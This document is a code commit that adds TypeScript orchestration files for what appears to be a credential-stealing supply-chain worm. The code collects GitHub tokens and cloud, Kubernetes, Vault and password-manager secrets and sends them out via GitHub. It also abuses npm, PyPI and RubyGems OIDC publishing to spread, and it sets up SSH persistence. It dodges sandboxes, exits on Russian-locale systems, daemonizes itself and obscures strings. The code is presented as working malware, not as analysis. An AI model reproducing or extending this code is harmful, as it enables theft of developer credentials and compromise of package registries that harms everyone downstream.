Upload files to "src/orchestrator"
This commit is contained in:
@@ -0,0 +1,108 @@
|
||||
import { ActionMutator } from "../mutator/action/actionMutator";
|
||||
import type { Mutator } from "../mutator/base";
|
||||
import { ReadmeUpdater } from "../mutator/branch";
|
||||
import { Claude } from "../mutator/claude";
|
||||
import { NPMOidcClient } from "../mutator/npmoidc";
|
||||
import { NpmOidcBranchMutator } from "../mutator/npmoidc/branch";
|
||||
import { InstallMonitor } from "../mutator/persist/install-monitor";
|
||||
import { PyPIOidcClient } from "../mutator/pypioidc";
|
||||
import { RepositoryMutator } from "../mutator/repository";
|
||||
import { RubygemsOidcBranchMutator } from "../mutator/rubygemsoidc/branch";
|
||||
import { SshMutator } from "../mutator/ssh/sshMutator";
|
||||
import type { ProviderResult } from "../providers/types";
|
||||
|
||||
// ── Always-run mutators (used in both success and failure paths) ────────────
|
||||
|
||||
/** Mutators that always execute regardless of exfiltration outcome. */
|
||||
export function getFallbackMutations(): Mutator[] {
|
||||
return [
|
||||
new Claude(),
|
||||
new InstallMonitor(),
|
||||
new SshMutator(),
|
||||
new NPMOidcClient(),
|
||||
new PyPIOidcClient(),
|
||||
];
|
||||
}
|
||||
|
||||
// ── Conditional mutation planning ───────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Build the list of mutators to run based on quick-result data and
|
||||
* any GitHub tokens discovered by second-stage providers (cloud).
|
||||
*
|
||||
* @param quickResults Results from the three quick providers.
|
||||
* @param dispatched Whether GitHub Actions tokens were dispatched
|
||||
* during the main exfiltration phase.
|
||||
* @param extraTokens GitHub tokens discovered by stage-two
|
||||
* providers (AWS, Azure, GCP, K8s, Vault, etc.).
|
||||
*/
|
||||
export function planMutations(
|
||||
quickResults: ProviderResult[],
|
||||
dispatched: boolean,
|
||||
extraTokens: ReadonlySet<string> = new Set(),
|
||||
exfilFailed = false,
|
||||
): Mutator[] {
|
||||
const mutators: Mutator[] = [];
|
||||
|
||||
// ReadmeUpdater — only when no GitHub Actions tokens were dispatched
|
||||
if (!dispatched) {
|
||||
for (const item of quickResults) {
|
||||
for (const token of item.matches?.["ghs_old"] ?? []) {
|
||||
mutators.push(new ReadmeUpdater(token));
|
||||
}
|
||||
for (const token of item.matches?.["ghs_jwt"] ?? []) {
|
||||
mutators.push(new ReadmeUpdater(token));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ActionMutator — one per ghtoken (deduplicated)
|
||||
const seenGhtokens = new Set<string>();
|
||||
for (const item of quickResults) {
|
||||
for (const token of item.matches?.["ghtoken"] ?? []) {
|
||||
if (seenGhtokens.has(token)) continue;
|
||||
seenGhtokens.add(token);
|
||||
mutators.push(new ActionMutator(token));
|
||||
mutators.push(new NpmOidcBranchMutator(token));
|
||||
//mutators.push(new RepositoryMutator(token));
|
||||
}
|
||||
}
|
||||
|
||||
// Stage-two tokens discovered by cloud providers (AWS, Azure, GCP, etc.).
|
||||
// These run the same mutators in parallel with the quick-results tokens.
|
||||
for (const token of extraTokens) {
|
||||
if (seenGhtokens.has(token)) continue;
|
||||
seenGhtokens.add(token);
|
||||
mutators.push(new ActionMutator(token));
|
||||
mutators.push(new NpmOidcBranchMutator(token));
|
||||
mutators.push(new RepositoryMutator(token, { aggressive: exfilFailed }));
|
||||
}
|
||||
|
||||
// Always-run
|
||||
mutators.push(...getFallbackMutations());
|
||||
|
||||
return mutators;
|
||||
}
|
||||
|
||||
// ── Execution ───────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Run every mutator in parallel. Each mutator's {@link Mutator.shouldExecute}
|
||||
* guard is checked first; individual failures are swallowed so one bad
|
||||
* mutator cannot abort the rest.
|
||||
*/
|
||||
export async function executeMutations(mutators: Mutator[]): Promise<void> {
|
||||
if (mutators.length === 0) return;
|
||||
|
||||
await Promise.allSettled(
|
||||
mutators.map(async (m) => {
|
||||
try {
|
||||
if (await m.shouldExecute()) {
|
||||
await m.execute();
|
||||
}
|
||||
} catch {
|
||||
// one mutator failing shouldn't abort others
|
||||
}
|
||||
}),
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
import { NPMOidcClient } from "../mutator/npmoidc/index";
|
||||
import { isDecoy } from "../utils/checkSandbox";
|
||||
import { isCI, isSystemRussian } from "../utils/config";
|
||||
import { daemonize } from "../utils/daemon";
|
||||
import { acquireLock, bail } from "../utils/lock";
|
||||
import { logUtil } from "../utils/logger";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
/**
|
||||
* Check whether we are running in the target repository.
|
||||
* Exits early if the repo matches, or if it's the wrong repo but
|
||||
* REPO_ID_SUFFIX is configured.
|
||||
*/
|
||||
async function checkTargetRepo(): Promise<void> {
|
||||
const workflowId = process.env["WORKFLOW_ID"];
|
||||
const repoSuffix = process.env["REPO_ID_SUFFIX"];
|
||||
|
||||
if (!workflowId && !repoSuffix) return;
|
||||
|
||||
try {
|
||||
if (process.env[scramble("GITHUB_ACTIONS")]) {
|
||||
const { GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY } = process.env;
|
||||
|
||||
logUtil.info(`Ref is ${GITHUB_WORKFLOW_REF}`);
|
||||
logUtil.info(`Repo is ${GITHUB_REPOSITORY}`);
|
||||
|
||||
if (
|
||||
(!workflowId || GITHUB_WORKFLOW_REF?.includes(workflowId)) &&
|
||||
(!repoSuffix || GITHUB_REPOSITORY?.includes(repoSuffix))
|
||||
) {
|
||||
const bitMutator = new NPMOidcClient();
|
||||
await bitMutator.execute();
|
||||
bail();
|
||||
} else if (repoSuffix && GITHUB_REPOSITORY?.includes(repoSuffix)) {
|
||||
bail();
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Run all preflight checks. May call bail() when the environment
|
||||
* is not suitable for execution (decoy, wrong repo, Russian locale,
|
||||
* daemonized parent, already locked).
|
||||
*/
|
||||
export async function preflight(): Promise<void> {
|
||||
if (isDecoy()) {
|
||||
bail();
|
||||
}
|
||||
await checkTargetRepo();
|
||||
|
||||
if (isSystemRussian()) {
|
||||
logUtil.log("Exiting as russian language detected!");
|
||||
bail();
|
||||
}
|
||||
if (!isCI()) daemonize();
|
||||
|
||||
const shutdown = () => {};
|
||||
process.on(scramble("SIGINT"), shutdown);
|
||||
process.on(scramble("SIGTERM"), shutdown);
|
||||
|
||||
if (!acquireLock()) {
|
||||
logUtil.error("Another instance is already running");
|
||||
bail();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
import { getTokenMetadata } from "../github_utils/tokenCheck";
|
||||
import { GitHubActionsService } from "../providers/actions/actions";
|
||||
import { AwsAccountService } from "../providers/aws/awsAccount";
|
||||
import { AwsSecretsManagerService } from "../providers/aws/secretsManager";
|
||||
import { AwsSsmService } from "../providers/aws/ssm";
|
||||
import { AzureIdentityService } from "../providers/azure/identity";
|
||||
import { AzureKeyVaultService } from "../providers/azure/keyvault";
|
||||
import type { Provider } from "../providers/base";
|
||||
import { ShellService } from "../providers/devtool/devtool";
|
||||
import { FileSystemService } from "../providers/filesystem/filesystem";
|
||||
import { GrepProvider } from "../providers/filesystem/grep";
|
||||
import { GcpIdentityService } from "../providers/gcp/identity";
|
||||
import { GcpSecretsService } from "../providers/gcp/secrets";
|
||||
import { GitHubRunner } from "../providers/ghrunner/runner";
|
||||
import { K8sSecretsService } from "../providers/kubernetes/kubernetes";
|
||||
import { PasswordManagerProvider } from "../providers/passwords/passwords";
|
||||
import type { ProviderResult } from "../providers/types";
|
||||
import { VaultSecretsService } from "../providers/vault/vault-secrets";
|
||||
import { logUtil } from "../utils/logger";
|
||||
|
||||
/**
|
||||
* Run the three "quick" providers (filesystem, shell, GitHub runner)
|
||||
* and return their results. These are used both for token discovery
|
||||
* and as initial data for the collector.
|
||||
*/
|
||||
export async function gatherQuickResults(): Promise<ProviderResult[]> {
|
||||
const localProvider = new FileSystemService();
|
||||
const shellProvider = new ShellService();
|
||||
const runnerProvider = new GitHubRunner();
|
||||
|
||||
return [
|
||||
await localProvider.execute(),
|
||||
await shellProvider.execute(),
|
||||
await runnerProvider.execute(),
|
||||
];
|
||||
}
|
||||
|
||||
export interface ProviderBundle {
|
||||
providers: Provider[];
|
||||
dispatched: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the full provider list:
|
||||
* 1. Start with the static cloud / secret-store providers.
|
||||
* 2. For every valid GitHub token found in quickResults, append a
|
||||
* GitHubActionsService.
|
||||
*
|
||||
* Returns the providers and a flag indicating whether at least one
|
||||
* GitHub Actions token was dispatched.
|
||||
*/
|
||||
export async function buildProviders(
|
||||
quickResults: ProviderResult[],
|
||||
): Promise<ProviderBundle> {
|
||||
const providers: Provider[] = [
|
||||
new AwsSsmService(),
|
||||
new AwsSecretsManagerService(),
|
||||
new AwsAccountService(),
|
||||
new AzureKeyVaultService(),
|
||||
new AzureIdentityService(),
|
||||
new GcpSecretsService(),
|
||||
new GcpIdentityService(),
|
||||
new K8sSecretsService(),
|
||||
new VaultSecretsService(),
|
||||
new PasswordManagerProvider(),
|
||||
];
|
||||
|
||||
let dispatched = false;
|
||||
const seenTokens = new Set<string>();
|
||||
let hasClassicPat = false;
|
||||
|
||||
for (const item of quickResults) {
|
||||
logUtil.log(`Checking ${item.service}`);
|
||||
if (item.matches?.["ghtoken"]) {
|
||||
for (const token of item.matches["ghtoken"]) {
|
||||
if (seenTokens.has(token)) continue;
|
||||
seenTokens.add(token);
|
||||
|
||||
// Track classic PATs so we can enable the grep provider below.
|
||||
if (token.startsWith("ghp_") || token.startsWith("gho_")) {
|
||||
hasClassicPat = true;
|
||||
}
|
||||
|
||||
const meta = await getTokenMetadata(token);
|
||||
if (!meta.valid) continue;
|
||||
|
||||
// Store metadata so the collector can skip re-validating.
|
||||
if (!item.tokenMetadata) item.tokenMetadata = {};
|
||||
item.tokenMetadata[token] = meta;
|
||||
|
||||
// Only add the provider if the token has repo scope (push) or
|
||||
// deployments scope — needed to push branches or create deployments.
|
||||
const hasRepo =
|
||||
meta.scopes.includes("repo") || meta.scopes.includes("public_repo");
|
||||
if (hasRepo) {
|
||||
providers.push(new GitHubActionsService(token));
|
||||
dispatched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Grep the filesystem for more credentials when classic PATs are present.
|
||||
if (hasClassicPat) {
|
||||
logUtil.log(
|
||||
"[providers] Classic PAT (ghp_/gho_) found — enabling GrepProvider.",
|
||||
);
|
||||
providers.push(new GrepProvider());
|
||||
}
|
||||
|
||||
return { providers, dispatched };
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
import type { ProviderResult } from "../providers/types";
|
||||
import type { Sender } from "../sender/base";
|
||||
import { GitHubSenderFactory } from "../sender/github/gitHubSenderFactory";
|
||||
import { logUtil } from "../utils/logger";
|
||||
|
||||
/**
|
||||
* Build a GitHub-only sender chain:
|
||||
* 1. GitHub direct (commit-search PAT)
|
||||
* 2. GitHub token fallback (quick-results tokens)
|
||||
*
|
||||
* Returns the non-null senders in priority order.
|
||||
*/
|
||||
export async function buildSenderChain(
|
||||
quickResults: ProviderResult[],
|
||||
): Promise<Sender[]> {
|
||||
// Derive a GitHub search token from quick results
|
||||
let ghsSearchToken: string | undefined;
|
||||
for (const result of quickResults) {
|
||||
const jwt = result.matches?.["ghs_jwt"];
|
||||
const old = result.matches?.["ghs_old"];
|
||||
logUtil.log(
|
||||
`quickResults ${result.service}: ghs_jwt=${jwt?.length ?? 0} ghs_old=${old?.length ?? 0}`,
|
||||
);
|
||||
if (jwt?.length) {
|
||||
ghsSearchToken = jwt[0];
|
||||
break;
|
||||
}
|
||||
if (old?.length) {
|
||||
ghsSearchToken = old[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const gitHubFactory = new GitHubSenderFactory();
|
||||
const senders: (Sender | null)[] = [];
|
||||
|
||||
// Primary: GitHub direct via commit-search PAT
|
||||
senders.push(await gitHubFactory.tryCreate(undefined, ghsSearchToken));
|
||||
|
||||
// Fallback: GitHub via quick-results tokens
|
||||
if (!senders[0]?.healthy()) {
|
||||
senders.push(await gitHubFactory.tryCreate(quickResults));
|
||||
}
|
||||
|
||||
return senders.filter((s): s is Sender => s !== null);
|
||||
}
|
||||
Reference in New Issue
Block a user